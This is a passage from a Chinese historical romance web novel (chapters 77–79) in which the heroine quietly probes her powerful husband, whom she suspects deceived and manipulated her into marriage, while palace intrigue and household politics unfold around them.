她不知道她拙劣的演技,究竟有没有被沈景湛看穿知晓,但是她真的已经尽力了。 她还是需要平复,想要自己静静,想想以后的打算,日后的盘算。 她应该怎么办? 这件事情是没有办法揭过去的。 “好。”男人点头,可是没有走两步,他居然又转回弯来。 祝吟鸾松下去的心不免提了起来。 他看着她的玉白小脸,问她,“鸾儿是不是知道了什么?” 第78章 第78章她梦里的男人是沈景湛吗?…… 祝吟鸾听到这句话时瞳孔骤缩,她本就攥捏着被褥的手越发收紧起来。 面上却很快就竭力维持住了,甚至抬头看去,跟他说,“什么?” 沈景湛没有说话,只是看着她。 他的神色没有任何的变化,但是他的眼眸无比深沉。 不仅是寂静的,还很幽暗,令人感觉到不可估测的,叫她莫名煎熬。 祝吟鸾自认胆识也不低,可她所有的伪装在碰上沈景湛的那一瞬间,就会自动瓦解,她自己都说不清楚,究竟是因为什么。 总之就是想要回避。 但是她隐瞒在先,不应该是他心虚吗?她又在躲闪心虚些什么?该躲闪心虚的人不是她,而是沈景湛。 纵然他权势滔天又如何,怎么能够欺上瞒下,做出这样的事情来? 这桩事情真的深究起来,也是他的过错,他弄垮了祝家和卫家,又又把她抢了过来。 时至今日,祝吟鸾依然不敢想象,沈景湛所图谋的人是她吗? 以利益角度来清算,沈景湛大费周章之下,得到的人是她。 祝吟鸾忍不住这样想,给她自己定了定神。 许是因为有了底气,所以她也平缓了一些。 专注看着沈景湛,想要透过他的眼睛,看看他伪装之下的破绽,可惜她看了许久,也没有瞧见沈景湛的破绽,他似乎一点都不害怕。 透过沈景湛的眼睛,她感受到了他甚至还在考究试探她一般。 在这场无声的博弈当中,双方纷纷寂静下来。 虽然安静,但眼神的交锋却迸溅出火花。 沈景湛的眼眸当中渐渐泛起笑意,“” 他觉得自己说错了,这么多年过去,他的鸾儿还是学会了很多,渐渐成长了起来。 至少在之前,她不会那么快收拾好心绪,甚至仰头看着他。 此时此刻的她,整个人的姿态分明都是孤弱无依的,却已经流露出了她的倔强,是独属于她的柔韧。 “夫君说的话,我不明白。”她不能因为沈景湛深不可测就对他产生畏惧。 这件事情归根结底,都是沈景湛的错,倘若不是沈景湛,事情不会变成这样。 就算是他权势滔天,说破了天,也是他的错。 越是深入去想,祝吟鸾整个人越发有了底气。 浑身的紧绷和害怕都渐渐放松了下去,浮现上来的是愤怒,被他欺骗的恼怒。 但此刻还不能说,因为她不喜欢在气头之上与人争辩,理论。 除此之外,祝吟鸾也很清楚,倘若是把一切说出来,她真的就是一点优势都没有了。 重要的是,她没有守住自己的心。 沈景湛已经试探出了许多,此刻却没有继续逼迫,而是重新坐下来,他问她突然急气攻心,是不是听说了祝家的事情。 祝家的事情? 不确定沈景湛是否在跟她顾左右而言其它,祝吟鸾干脆就顺着话说下来。 “今日的确听说了这件事情,我觉得有些许恶心。” “鸾儿是心软了吗?”他问她。 心软? 祝吟鸾思忖着他这句话,许久之后她才回,“只是觉得很唏嘘很巧合。” “巧合?”沈景湛捕捉重复她这句话。 “是。”她反问沈景湛,“夫君不觉得巧合吗?” “怎么巧合了?”两人互相套着对方的话茬。 “郭老王爷要续弦,怎么偏偏寻上了长姐?若是长姐没有嫁过人,我或许不会这么认为,但她是与骆家和离的,郭王府到底是皇室。” “鸾儿不也嫁给我了吗?”他给她掖了掖被角。 祝吟鸾没有想到,沈景湛就这么一句话把她的试探给打了回来,让她辩无可辩。 是啊,她作为庶女,都能再次高嫁,长姐那边又算什么呢? 纵然沈景湛不是皇室的人,但他手握重权,又年轻有为,她配他着实是高就了。 这句话若是放在之前,祝吟鸾会觉得自卑,但此刻她却没有那些心思了。 “是啊,我与夫君的身份如此不匹,夫君有没有想过与我和离,另外娶妻?” 她旁敲侧击,说出和离两个字,即便脱口而出,她整个人的心中也是煎熬的,但还是说了。 听到和离二字,男人眉心微动,整个人仿佛下意识停滞了片刻,良久之后,沈景湛笑着问她说什么? 祝吟鸾以为她的声音太小,他没有听清楚,提起一口气正要重复一遍。 沈景湛却在她前面开口,“和离?” 他瞧着她笑,虽然是笑,却不同以往的温润,也不知是她的错觉,还是因为得知了那些事情,总之她此刻觉得他不是在笑。 有些害怕,令人恐惧。 饶是她已经给自己鼓了鼓勇气,但还是紧张。 沈景湛给人的压迫感实在太强了。 祝吟鸾一紧张,就开始抿咬她的唇瓣,睫羽颤抖。 “我不喜欢听到和离这两个字,鸾儿以后不要说了。”男人声音慢悠悠。 他并没有凶训她,可祝吟鸾依然觉得心跳过快。 这种莫名的情绪,她很是不解,一时没有说话。 “我们不会和离。”他又重申了一遍。 “是吗?”祝吟鸾有些许心不在焉。 她觉得自己或许是身怀有孕的缘故,此刻听着他说这句话有些许莫名的委屈,还有些许想要哭,压抑着耸吸着鼻尖。 难道,她不想跟沈景湛和离? 她分明是想的。 “鸾儿今日究竟是怎么了,身子骨难受,转而又提到和离的事情,莫不是鸾儿已经厌烦我,有了旁的心仪的郎君?” 他这话像是调笑,可这一次祝吟鸾看得很清楚,男人的脸上根本就没有丝毫的笑意。 “我我没有。” 沈景湛只是笑了一下,再也没有继续这个话茬。 祝吟鸾却平白想到今日上沈家门吃喜宴,沈夫人给她介绍的那个姑娘,姓孟,叫孟云的。 如果她没有猜错,是沈夫人选定了想要给她过过眼,纳入沈景湛房中的人吧? 即便是什么都没有说,但她已经都明白了。 可当初,她不明所以,被逼得走投无路之时也跟沈景湛说好的了。 他娶她,此生不会纳妾。 若是他纳妾了,就让他罢官削爵,此生不入朝堂。 当时他还写了罢官削爵的文书盖上了玺印递给她。 此时此刻,那文书就在她的箱笼底下压着呢。 他会是哄着她的吗?那个玺印会是假的吗? 祝吟鸾在心里想着。 “今日鸾儿也累了,你早些歇息,有事叫我。”沈景湛趁着她发愣,伸手揉了揉她毛绒绒的发顶。 等祝吟鸾下意识想要回避的时候,他已经把手给收回去了。 这一次沈景湛没有多停留便去了侧室。 祝吟鸾看着他离开的背影发愣。 只见男人高大修长的身影,根本没有瞧见背过身去之后,男人陡然转变的清冷神色。 好一会,祝吟鸾才想起来叫明芽。 明芽给她端了一盏甜汤来,祝吟鸾没有直接开口,因为明芽的后面跟着姣惠。 “怎么了小姐?”明芽见祝吟鸾一边喝着甜汤,一边看着姣惠。 祝吟鸾喝了一口之后问,“姣惠到我身边也有几年了吧?总觉得你似乎没怎么长肉,是不是往日里太辛苦了些?” 祝吟鸾忽如其来的关怀,让姣惠受宠若惊。 “跟着小姐身边吃饱穿暖,比奴婢以往的日子都好,奴婢很知足。” 祝吟鸾笑了一下,垂眸瞧着碗中的甜汤。 旁边的烛火摇曳,甜汤幽幽,倒映出她的脸。 她看起来是不是十分单纯好骗? “我之前怕你伤心没有细细盘问,你家中可还有旁的人?” “小姐今日忽然问起这个?”姣惠道她的父母已亡。 “叔叔婶婶都不在了吗?” “在,但是许多年没有往来走动,奴婢也不清楚家中亲戚身在何处。” “你和明芽都到了适婚的年岁,明芽是自幼跟着我的,她的家中底细我非常清楚,但是你的我一时想不起来。” 姣惠暗觉奇怪,但没有戳穿,而是顺着祝吟鸾的话往下道,“小姐待奴婢宽厚,奴婢不想嫁人,只想一辈子留在小姐的身边,保护小姐,伺候小姐,回报小姐的恩情。” 听罢,祝吟鸾笑了一下。 她敛下睫毛,遮掩住不达眼底的笑意。 保护?伺候?回报恩情? 倘若是蒙在鼓里的她一定会十分感动,眼下只觉得毫无触动。 姣惠不过就是沈景湛派到她身边的棋子而已,就是为了监视,算计她而来。 “我知道你对我好,我自然也不能够辜负你待我的一片心意。” “你性子温和,做事踏实,我定然会为你挑选一个好的夫家,让你嫁出去了,也能够过得和顺舒坦。” 这句话也是祝吟鸾的肺腑之言。 虽然姣惠到她身边的居心不良,但是这些年她在她身边,做事很尽心尽力,没有丝毫的怠慢,好好为她挑选一个郎君,嫁出去,是她想到最好的办法。 否则,她平白无故将人给赶走,一定会引起沈景湛的怀疑。 “小姐,奴婢真的不想要离开您。”姣惠也学了明芽那一套,开始跟祝吟鸾卖惨呼人。 祝 吟鸾却只是笑笑,没有接过话,“天色不早了,你先下去歇息吧。” “今夜是不是明芽守夜?”祝吟鸾看向明芽。 对方很快反应过来,“是。” “姣惠,你去歇息吧。” 见状,姣惠也只能下去了。 人走了之后,祝吟鸾问明芽,今日她害喜,沈家都出了些什么事情? 她那会实在难受,整个人吐得十分厉害,但还是有意识的。 明芽把所有的事情,事无巨细告诉了祝吟鸾。 尤其是沈夫人身边老妈妈去盘问小丫鬟,以及奉安公主对沈家人说的那番话。 祝吟鸾听罢点了点头,正在思忖着。 “小姐发生什么事情了?”明芽小心翼翼问着,“您真的要把姣惠给嫁出去么?奴婢这些时日瞧着她,其实她很安分,并没有什么逾矩的地方。” 说实话,姣惠也算是得力的心腹人,若是就这么出去了,明芽也挺舍不得的。 祝吟鸾抬头看向明芽,没有解释为何,只道,“她也在我身边许久,若是再留,只怕年岁真要上去,别说她,你不也是这样吗?总不能在我身边留一辈子。” “奴婢不要嫁人。”提到婚事,明芽也是一脸不情愿,眉头都拧到了一起。 祝吟鸾牵唇笑了一下,“好了,你也去歇息吧,我有事再叫你。” 明芽还想再说,祝吟鸾却已经闭上了眼睛。 这一夜过得还算平静。 祝吟鸾原以为心里装着事情,她再也睡不着了,却还是低估了安神香和静心丸的厉害,闭上眼睛假寐一会,她渐渐睡了过去。 翌日,她睡到了早膳时分。 刚醒过来就听到明芽说,沈夫人来好一会了,还有沈老太太身边派过来的人,都在正厅候着呢。 她连忙起来,明芽叮嘱她慢一些。 祝吟鸾问,“夫君呢?” 她并没有看到沈景湛的身影,他从来不会贪睡,绝对不可能睡到日上三竿。 “世子爷进宫去了,留下话让奴婢们好生照拂您,您还不知道吧,姚家出事了。” “姚家?”祝吟鸾一顿,“太尉姚家?” 明芽压低声音,“太尉被贬官,如今已不是太尉了。” 祝吟鸾只觉得不可思议,怎么睡一觉起来就变了? 这些时日留意着祝家和卫家的事情,完全想不起来过问姚家。 往前回想,沈景湛是在什么时候跟她说过? 似乎是上次她问他,能不能出去的时候,沈景湛说等处理完姚家的事情再陪她,还说可以去游湖? 是这样吧?她已经有些许记不清楚了。 “是今日传出的消息吗?” “是。”明芽点头,欲言又止。 祝吟鸾让她接着往下说,明芽方才开口道,“降罪的圣旨传出来之后,姚夫人居然上吊了。” “上吊?”祝吟鸾吓了一跳,声音都忍不住拔高了些许。 “您如今有身孕,本来是不该告诉您的。”明芽让她仔细身子。 “他他是去宫里,还是去了姚家?”祝吟鸾都说不清楚她为何要重复问这一句,跟明芽确定。 她想起来,沈景湛和姚家的交情。 自从上次以后,姚姿基本上没有来过沈家了。 昨日沈蔻玉出嫁,姚家提前派了人送礼来,却没有人露面,这缺席的借口便是说姚夫人身子骨不舒坦,不好过来了。 没想到,降罪的圣旨下来,姚夫人居然自尽了? 明芽说,去了宫里,但听着来请沈景湛的人的口风,八成要去姚家走一趟的。 “圣旨是怎么裁决判审姚家的?” “奴婢不清楚。”明芽摇头,“奴婢是今儿见到外面的人匆匆跑进来,跟着宫里的人,说是陛下让世子爷快快进宫,姚夫人上吊,就剩下一口气,太医已经先行一步去了姚家。” 沈景湛是查姚家的人,为着这件事情,两家的往来几乎没有了。 现如今,姚家被降罪,圣上居然还让沈景湛去沈家探望,到底是什么意思? 祝吟鸾蹙眉。 正当她思索期间,沈夫人带着人走进来了。 祝吟鸾发觉那孟家的姑娘居然还在沈家,就跟在沈夫人的后面。 她非常知礼数,带着东西过来了,还说了一些场面话,祝吟鸾浅笑着回应,吩咐小丫鬟去沏茶。 原是要起来请安的,沈夫人叫摆手叫她别动弹,好生坐着,还问她舒坦一些没有? 吟鸾颔首说好多了。 沈夫人瞧着她的脸色,的确是比昨日有血色,尽管还是病恹恹,却也好很多了。 原本想问,又怕祝吟鸾不舒坦,便让小丫鬟摆饭用早膳。 孟小姐也在这边用早膳,期间她十分关怀祝吟鸾的身子骨,但也不乏套话的嫌疑。 祝吟鸾看出她的企图,到底没有拂却场子,毕竟是沈夫人的客人。 沈夫人不放心她的身子骨,用过了早膳,也在这边陪着,想来是沈景湛的吩咐。 府上有不少的事情要忙,沈夫人让人全都送到祝吟鸾的院子里。 祝鸾睡不着,就看着沈夫人忙碌。 她本来要帮忙,但沈夫人不让,就叫她陪孟云说话。 这孟云小姐出身高门,祖上文官清流,看着文文静静,但不柔弱,说话做事很有条理与自家的见解。 没一会,沈景湛的随从送了糕点来。 祝吟鸾一看到这个糕点,就想到他处心积虑的各种偶遇。 其中有三次,都有这个糕点。 孟云感叹道,“早就听闻沈世子疼惜少夫人,今日一见,果真是名不虚传。” 可不是疼惜,就算是在宫内忙碌,也不忘记吩咐人给祝吟鸾带糕点回来,还是宫内御膳房的手艺,高门世家都少有能够品尝到的。 祝吟鸾笑了笑没说话。 孟云很会察言观色,瞬间感觉到了不对劲,迅速遮掩了尴尬,转移话茬。 接下来,孟云再也没有提过沈景湛。 只跟祝吟鸾说起京城当中的趣事,的确帮祝吟鸾解了闷。 晚膳,孟云也是留在这边用的。 用过晚膳之后,孟云跟着沈夫人折返。 人走了,祝吟鸾方才展露出疲态。 许是真的劳心劳神,她觉得肚子不太舒坦。 除却衣裙之后,只着亵衣,方才能够看到她微微隆起的小腹。 祝吟鸾伸手抚摸着她的小腹。 一下一下。 这个孩子来得意外,从震惊到接受,现如今即便是知道是沈景湛的算计,她也没有生过厌恶的心思。 这个孩子,一定是要留下的。 今夜起风了。 祝吟鸾透过窗桕往外看去,见到小丫鬟们跑出来收拾金台花盏。 夜风若是再大一些,只怕要被吹毁了。 怕风刮到了祝吟鸾,姣惠吩咐人将小窗纱给放下来。 隔着漂亮的窗棂往外看去,这一瞬间,祝吟鸾觉得她就像是被人诓进笼中的雀.鸟。 现如今,她就算是要走,也有了羁绊。 羁绊还不只是这个孩子。 重要的是,她对沈景湛生出了情意。 即便是得知了沈景湛欺瞒她,做了那么多事情,可见到孟云,猜中沈夫人的心思是想要给沈景湛纳妾,她的心中也无比的忧郁。 听着外面的风声,祝吟鸾耸了耸鼻尖。 “” 沈景湛接连忙了许久,姚家那边才勉强稳下来,说是稳下来,其实也还是乱成一锅粥。 姚夫人虽然救回来了,但因为她赴死的决心强烈,脖颈勒得严重,如今话说不了,就连用膳都成了问题。 整日里,只能用一些熬得稀碎的米粥吊命,随时需要太医看顾着,身边根本离不开人。 姚太尉如今虽然被革职了,但他在朝为官多年,门下子弟众多,可以说树大根深,因为姚夫人上吊的事情,朝廷吵闹不休。 沈景湛是奉圣命顺着殿试的案子彻查姚家的人,因而他身边的人皆受到了波及,不仅仅是他身边的人,还有他本人也受到了弹劾。 朝廷的局势瞬间变得很不稳,动荡难安,便是祝吟鸾在后宅,都听到了风声。 京城街头巷尾都在说这件事情,说姚太尉这些年在朝为官,一心为君为民,不相信他会做出泄题的事情,定然是有人栽赃陷害。 即便大理寺那边放出了案子的的确确是从姚家漏出去的证据,可众人居然觉得这也有可能是无心之失,可以谅解,毕竟姚太尉年岁大了。 风向瞬间变得乌烟瘴气起来。 因为这件事情,沈景湛几乎是脚不沾地。 他早出晚归,祝吟鸾能够收到他派人送来的吃食,听到他让人转达的话,就是没有碰到他的面。 如此下来,倒是叫她冷静了几日,心绪也渐渐回稳,但奉安公主告诉祝吟鸾的事情,始终横在她的心里。 说起来这件事情,原 本说喜宴之后要留在沈家几日的奉安公主忽而离开了,听明芽说,奉安公主甚至没有回府,她去了太后的宫里。 祝吟鸾忍不住在想,奉安公主忽而去找太后,会不会跟沈景湛有关系。 她得知这件事情以后,心绪难以控制,虽然有梦魇作为借口,但是沈景湛很有可能知道了些什么。 奉安公主进宫找太后,很有可能是为了躲开沈景湛吧? 这些都只是她的猜测,祝吟鸾心里的事情不能够跟旁人说,便只能隐藏下来,不动声色地兀自揣摩着。 沈蔻玉回门的那一日沈景湛不在。 祝吟鸾倒是得见了她的夫郎,看起来的确孱弱几分,但整体的身形还是高大的,相貌也很出众,与沈蔻玉站在一处倒相配 沈景湛的地位高,即便是他不在,该敬的茶水,还是依着样子敬了,提前就备好的礼,由祝吟鸾送出去。 吃过敬茶,姑爷在前厅陪沈侯爷说话。 祝吟鸾跟着沈夫人去庭院给沈蔻玉说姑娘家的训话。 方才到内厅,才坐下呢,沈夫人就开始问两人圆房了没有。 饶是沈蔻玉性子比寻常的姑娘都要活泼些,都架不住沈夫人这么直接。 她红着脸,跺着脚,“母亲!” “您问这个做什么?” “还能做什么,自然是关心你啊。” 祝吟鸾在旁边没有说话,单是瞧着沈蔻玉的反应,脸红归脸红,应该还是没有。 “到底有没有啊?”沈夫人催着她回答。 沈蔻玉犹犹豫豫半晌,在纠结着,她丢给沈夫人一句有。 可是话都没有说完,手腕子就被沈夫人给猛然拉起捞开了。 沈蔻玉想要阻止已经来不及,因为沈夫人看到了她的守宫砂。 祝吟鸾下意识怔愣住,她没有想到沈蔻玉居然有守宫砂? 这是什么时候点上去的? 该不会是沈夫人在她出嫁之前想的招吧? “还骗你母亲我!”沈夫人很是生气。 沈蔻玉自知理亏,没有说话,看着沈夫人的怒容,悄然起身躲到祝吟鸾的后面去。 贴着她的耳朵喊嫂嫂,让祝吟鸾帮着她说说话。 被迫横在中间的祝吟鸾,就算是想要默不作声也不可能了。 她只能劝沈夫人息怒,有什么话好好说。 对于沈蔻玉没有圆房的这件事情,祝吟鸾并没有表态。 害怕说错话,两边得罪。 沈夫人很生气,说她千叮咛万嘱咐了,沈蔻玉还是当耳旁风,浑然不把她所说的当成一回事。 不敢拨弄祝吟鸾,毕竟她还有身子。 瞧着她最近还在养身子,心绪也不好,沈夫人眷顾着祝吟鸾,没有对她大声说话。 只是让她挪到另外一边做。 沈蔻玉却抓着祝吟鸾的披帛不放手,“嫂嫂你不能走,你若是走了,母亲定然要动手打我。” 沈夫人气笑了,“当着你嫂嫂的面开始胡言乱语了?你从小到大,我何时动过你一根手指头啊?” 沈蔻玉摆出委屈的神色,“女儿女儿也不是故意的。” “那洞房之事怎么能让女儿家主动?” “姑爷病弱,你总要顺着他些,重要的是孩子。” 沈蔻玉又开始跟沈夫人顶嘴,“孩子孩子!母亲就只知道孩子,您自己都说了他的身子骨不好,却还是让女儿去迁就他,万一不小心折腾过了,出什么事情呢?” 听到一句折腾,饶是祝吟鸾身怀有孕,都忍不住为之尴尬脸红。 沈夫人听着她嘀嘀咕咕,趁着沈蔻玉不注意,一把将沈蔻玉给抓了过去。 她让祝吟鸾坐到另外一边,数落了沈蔻玉很多句,说得沈蔻玉眼圈都有些红了。 祝吟鸾跳出来打圆场,沈夫人这才消停,嘱咐沈蔻玉回去务必要跟赵家姑爷赵谨白圆房,不许再耽误。 即便是沈蔻玉点头,沈夫人还是不放心,从她身边拨了一个信得过的老妈妈,让她跟着沈蔻玉回去,在她身边伺候。 美名其曰是伺候,实际上还是监视。 沈蔻玉不想要,但拗不过沈夫人,只能点头了。 绕过圆房的茬,沈夫人又嘱咐了管家的事情,得知赵家夫人已经在第二日敬茶的时候,把对牌钥匙都给了沈蔻玉,便彻底放下了心思。 她担心沈蔻玉被人欺负,又絮絮叨叨说了很多。 祝吟鸾就在旁边看着听着,无端想到她回门的那一日,在施家沈翕云也是这么叮嘱她的,只是沈翕云温和,她没有沈夫人这么凶。 说到施家,也是沈景湛给她找的娘家,第一个让她感受到无尽温暖的地方,在施家待嫁的那一个月里,她觉得自己无忧无虑极了。 这都是因为沈景湛。 思及此,祝吟鸾的思绪又沉顿下来,想到这些时日发生的心事,“” 沈夫人待游说够了,总算是停了下来。 沈蔻玉怕沈夫人吃一盏茶又继续,趁着她喝茶的功夫,连忙将话茬给转移走。 问祝吟鸾这些时日身子骨好不好? 有没有哪里不舒坦?瞧着她还是不怎么显怀,是不是这些时日没有好好用膳? 出嫁那日,祝吟鸾害喜的消息,沈蔻玉也听说了。 今儿回来她还给祝吟鸾带了一些补品,此刻瞧着她的脸色很不好,仿佛心事重重。 原本想要帮祝吟鸾把脉,但是碍于沈夫人在,沈蔻玉便没有这么做。 “我一切都好,只是忽而害喜,所以脸色瞧着差一些。” 祝吟鸾最近心绪很不好,沈夫人不好问,如今沈蔻玉张口,她就在旁边听着。 “嫂嫂,即便是过了头三月,你也还是要仔细身子,有孕之人是不宜多思的,若真有什么难以开解的心事,你大可以告诉哥哥啊。” “尽管哥哥这些时日为朝廷的事情繁忙,但是嫂嫂的事情在哥哥眼前,永远都是第一位的!” 沈蔻玉也知道祝吟鸾在京城当中没有什么手帕交,先前还与她谈得来,如今她嫁出去了,自然是闷了。 “实在不行,找人来排排戏嘛,嫂嫂你不是喜欢听戏么?” “小姑怎么知道我喜欢听戏?”祝吟鸾最近很警惕,沈蔻玉的这句话令她觉得无比奇怪。 沈蔻玉愣了一会,被祝吟鸾看着,她卡壳了,一时之间还真不知道说些什么为好。 找不到借口,干脆就把锅甩到沈景湛的头上,“我从哥哥那边听说的啊。” “是哥哥说,嫂嫂很喜欢听戏。” 沈景湛说的? 是,她想起来,曾经她也问过沈景湛,那时候沈景湛说有意问过她身边的人,所以得知她的喜好厌恶。 得知她喜欢听戏。 先前她就觉得沈景湛对她的了解,几乎到了一种了如指掌的地步。 那会子她觉得是错觉,这会子她不觉得是了。 所以,到底什么是真的? 真的有寻她身边的人问过么? 除此之外她还想起来一件事情,当初跟沈家的众位亲长一道用膳,那时候沈景湛给她夹菜。 他把她不喜欢的芥菜给挑掉了。 可是,明芽和姣惠都不知道她不吃叶用芥菜,沈景湛却知道了。 当时他说是因为在施家让人留意她的饮食起居,可现在认真想,她在施家的时候根本就没有吃过叶用的芥菜啊。 他这么了解她 她有没有见过沈景湛? 或许在很早之前,早到她自己都不记得了。 想着想着,祝吟鸾想到了那些乱七八糟的梦。 梦里的男人是真的吗,是他吗? 第79章 第79章他非正人君子而是斯文败类。…… 曾经,她真的以为他是个正人君子。 现如今知道他不是正人君子了。 梦里的男人会不会是沈景湛呢?在梦中屡次对她凶悍,强势,喜欢狠狠欺负她,重重吻她,严丝合缝抱着她,控制着她的男人,会是他吗? 是他隐藏的那一面?是他的真面目,他衣冠楚楚之下的斯文败类? 有些事情真的经不起考究,越是深入越是体会。 他早就知道他自己是个什么样的人。 所以在她夸他是正人君子是很好很好的人之时,他笑了。 那时候,她不明白他为何要笑,他难道不是正人君子吗? 眼下她却明白了,他根本就不是正人君子。 他在笑话她,笑话她所说的话。 根本就是一个笑话。 这就是沈景湛的深意吧?他将她玩弄到了股掌当中,居高临下,冷眼旁观她的一举一动,一言一行,喜怒哀乐。 除此之外,她还想起来一件事情。 她怀孕的事情,那会子她原本是怀疑沈景湛的,加上梦境干扰,她那会子害怕沈景湛,很担心他是不是梦里的人? 因为好几次都觉得他无比熟悉,那会她也在无意识远离沈 景湛。 但最终为着这个孩子的到来,被他倒打一耙的行径转移了话茬。 他当时说开了与她的情意,她便对着他敞开心扉,后来渐渐将这桩事情抛诸脑后,再也没有想起来过。 现如今再往前想,想到有一日她梦魇。 在梦中她被男人给欺负,春山崩溃的一瞬间,那种惊心动魄的崩溃感让她整个人瞬间惊醒。 然后她看到了沈景湛的脸。 她觉得沈景湛的轮廓身形,都特别像是她梦中的男人。 就是在那一刹那间,她睁开眼看到沈景湛,甚至觉得梦境都重合具象了。 “嫂嫂,你果真没有事情么?”察觉一句话之后,祝吟鸾的神色变来变去,仿佛走神又像是落魄一般。 沈蔻玉追问着她究竟是怎么了?“若是不喜欢瞧戏了,也可以找点别的乐子。”话是这么多,祝吟鸾肚子大着,还能做些什么? 沈夫人也在这一瞬间面露出担忧,“是不是哪里又不爽利了?我现在去写拜帖,真要如此不能强撑,让太医来给你看看。” 前些时日太医留了几日,祝吟鸾的身子骨好转以后,沈家人就备办厚礼重谢,将人给送回去了。 这些时日祝吟鸾在家中,瞧着情况倒是还可以的。 沈景湛忙碌不堪,沈夫人又多派了一个老妈妈到祝吟鸾的身边看顾,饶是如此,沈夫人还是时常过来陪着祝吟鸾用膳。 在沈夫人的督促之下,祝吟鸾都用了不少饭菜,可是她依然不怎么长肉。 说句实话,沈夫人是一个很不错的婆母,尤其是在卫家的对比之下,祝吟鸾心知肚明。 “没有,只是忧心夫君,因为有许多日不曾见到夫君了。”她也学会了睁着眼睛说瞎话。 害怕她自己说身子骨还好,沈夫人和沈蔻玉不相信追着问,索性就转移了话茬。 “原来如此。”沈夫人松了一口气。 祝吟鸾思念沈景湛到底也在情理之中,毕竟两人成婚才半年不到。 如今也算是聚少离多了,主要还是沈景湛事务太过于繁忙,这小半年下来,基本上是聚少离多。 沈夫人倒是没有训斥她,反而安慰道,“听澜忙过这阵子便好了,你且在家安心着吧,待他得了空处一定多多陪你。” 这都不需要沈夫人说的,她那个出色的嫡长儿子有多喜欢祝家女,她最是清楚,看得跟眼珠子似的,这些时日虽然忙着,可不曾空缺关注祝吟鸾,祝吟鸾整日里的衣食起居,他都着人过问。 话是这么说,小房还是要纳的。 祝吟鸾的身子骨实在是太弱了,即便是容易受孕,这一胎怀得如此让人恐惧,真是害怕,能不能顺利保住生下来都是问题。 沈夫人却又在想,祝吟鸾是不是已经清楚了,她让孟云在沈家多住几日的心思究竟是为何? 前些时日孟云倒也回去了,但沈夫人始终还是觉得要多为长房开枝散叶,尤其是在沈景湛的强盛之年,否则将来长房凋零,被其它房占据风光。 祝吟鸾心思细腻,孟云前几日在沈家住着,她很有可能是知道了。 但也没有办法,沈夫人就是想要让她有个心理准备,所以才留下了孟云。 好在这些时日,祝吟鸾都没有传达任何不满,对于她的乖顺,沈夫人也是满意的。 沈蔻玉会医术,即便是心思不怎么细腻,却也看出她心绪不佳。 这话一听就是推诿的。 她跟祝吟鸾也在一处相与了许久,对于祝吟鸾的性子,有几分清楚。 祝吟鸾往日里一直很娇怯,怎么可能会说思念沈景湛。 沈蔻玉估摸着,祝吟鸾就跟她方才差不离的,想要转移话茬。 “母亲,女儿适才席间没有吃饱,想要吃您做的八宝甜酪,您去给女儿做好不好?”沈蔻玉撒娇。 沈夫人虽然训斥了她两句,但还是起身去了。 又问祝吟鸾想吃些什么,一道给她做了。 祝吟鸾说都可以,“辛苦劳累婆母了。” 沈夫人摆了摆手,沈蔻玉拉着她的手腕,“嫂嫂,都是一家子,你怎么还说这样的见外话。” 沈夫人走了之后,沈蔻玉又找了借口,把身边的人给打发开了,然后给祝吟鸾把脉。 刚碰上祝吟鸾的脉象,她就忍不住蹙眉。 待过了一会,沈蔻玉面色凝重,“嫂嫂,我给你开一张舒心解郁的安胎方子吧,你让人拿去煎熬,煎了吃个把月,解释我找借口回家帮你再看看。” “我我没事啊。”祝吟鸾摸了摸肚子。 “嫂嫂,我虽然不知道你发生了什么事情,但你心绪繁重,胃口不好,即便是眼下吃了饭菜,这堵在肚子里不消化,人会越来越萎靡不振,届时你的孩子” 孩子只怕都要留不住,纵然留住了,月份大了难以生产。 “这么严重了?”她的确心事重重,但胃口都还好,夜里也能够睡得着,太医也说了她没事。 怎么一到沈蔻玉这里就变成了这样? 但沈蔻玉的医术,她是信得过的,想了想便点头,叫明芽拿笔墨来。 在沈蔻玉书写的时候,祝吟鸾想了个借口,便说是外面开的方子。 沈蔻玉却不在意了,她摆摆手,“如今我已经嫁人了,这一身医术叫家中人知道了也无妨。” 她边写边问最近有没有发生什么事情,适才当着沈夫人的面不好说,眼下可以跟她讲,她或许不能够为她排忧解难,但很愿意听一听。 “说出来总比闷在心里强,憋久了容易滋生心病的,嫂嫂。” 沈蔻玉不仅仅是宽慰祝吟鸾,甚至还跟她叮嘱了一些吃食上的注意事项。 怕祝吟鸾记不得,沈蔻玉还十分贴心全都写到了一旁的宣纸上面。 “我没事,只是忧心你哥哥办理姚家的事情不利,外面不是已经有人开始弹劾他了么?”这些时日可以说是满城风雨了,还不知道会演变成什么样子。 太尉的拥护者如此之多,沈景湛作为皇帝手中的一把利剑他又要如何破局? 他什么都能算计,活像是一只彻头彻尾的老狐狸, “哥哥的事情不用担心,哥哥的本事大着呢,嫂嫂你就不用忧虑他了,就算是旁人出事,他都不可能出事的。” “朝堂上面的事情哥哥还有父亲和叔叔伯伯们帮衬,您当务之急是保养好身子,对了嫂嫂,你要少用些安神香啊,总过分依赖安神香,这对你肚子里的孩子不好,就连你也会上瘾的。” “是药总有三分毒性,那怕用量微浅,日积月累,积少成多,也会损害身子骨。” 祝吟鸾眉头一皱,“什么安神香?” 她自从怀孕之后就很少用安神香了,除非到了迫不得已才会用,沈蔻玉说的什么安神香,祝吟鸾一瞬警惕起来。 “就是安神香啊,嫂嫂你没用?”沈蔻玉顿笔抬头,“你这些时日不是都在用安神香吗?”她说她不仅仅是把脉把出来,甚至凑近了,都能够闻到祝吟鸾身上清淡的安神香味道。 “我的嗅觉比一般人都要灵 敏。”沈蔻玉说,她的嗅觉不会出错,而且家里人都不知道呢,就像是她的医术。 医术倒也还好,只是这嗅觉,她怕被人取笑是狗鼻子,这才没吭声。 祝吟鸾一瞬间捏紧了手中的帕子。 沈蔻玉接着说她的眼下浮现淡淡的乌青,眼皮微微肿胀,这是心绪难安,却长时因为安神香歇多的典型病状。 除此之外,她还精准说中了祝吟鸾一些近期才有的病症。 祝吟鸾心里却在想,是谁给她点的安神香? 不是明芽,明芽只会听从她的吩咐,那就是姣惠了,亦或者院子里的小丫鬟,在沈家,沈景湛的地界,必然都是沈景湛的人。 除此之外,还有谁? “只不过嫂嫂身上所用的安神香,是外域的贡品,每日焚上一些并不碍事,但过于依赖总是不好的,嫂嫂先吃我给你开的方子,舒解了心绪才是。” 心病还需心药医啊。 沈蔻玉想着,不然就去找她兄长好生说一说,这些时日就算是忙,也不能够忽视了嫂嫂。 但她也清楚沈景湛喜悦祝吟鸾,怎么可能会平白晾着她,姚家的事情还是太棘手了。 除此之外,她也不知道是不是她的错觉,祝吟鸾和沈景湛之间,仿佛闹了嫌隙。 祝吟鸾不想说,沈蔻玉聪明的点到为止。 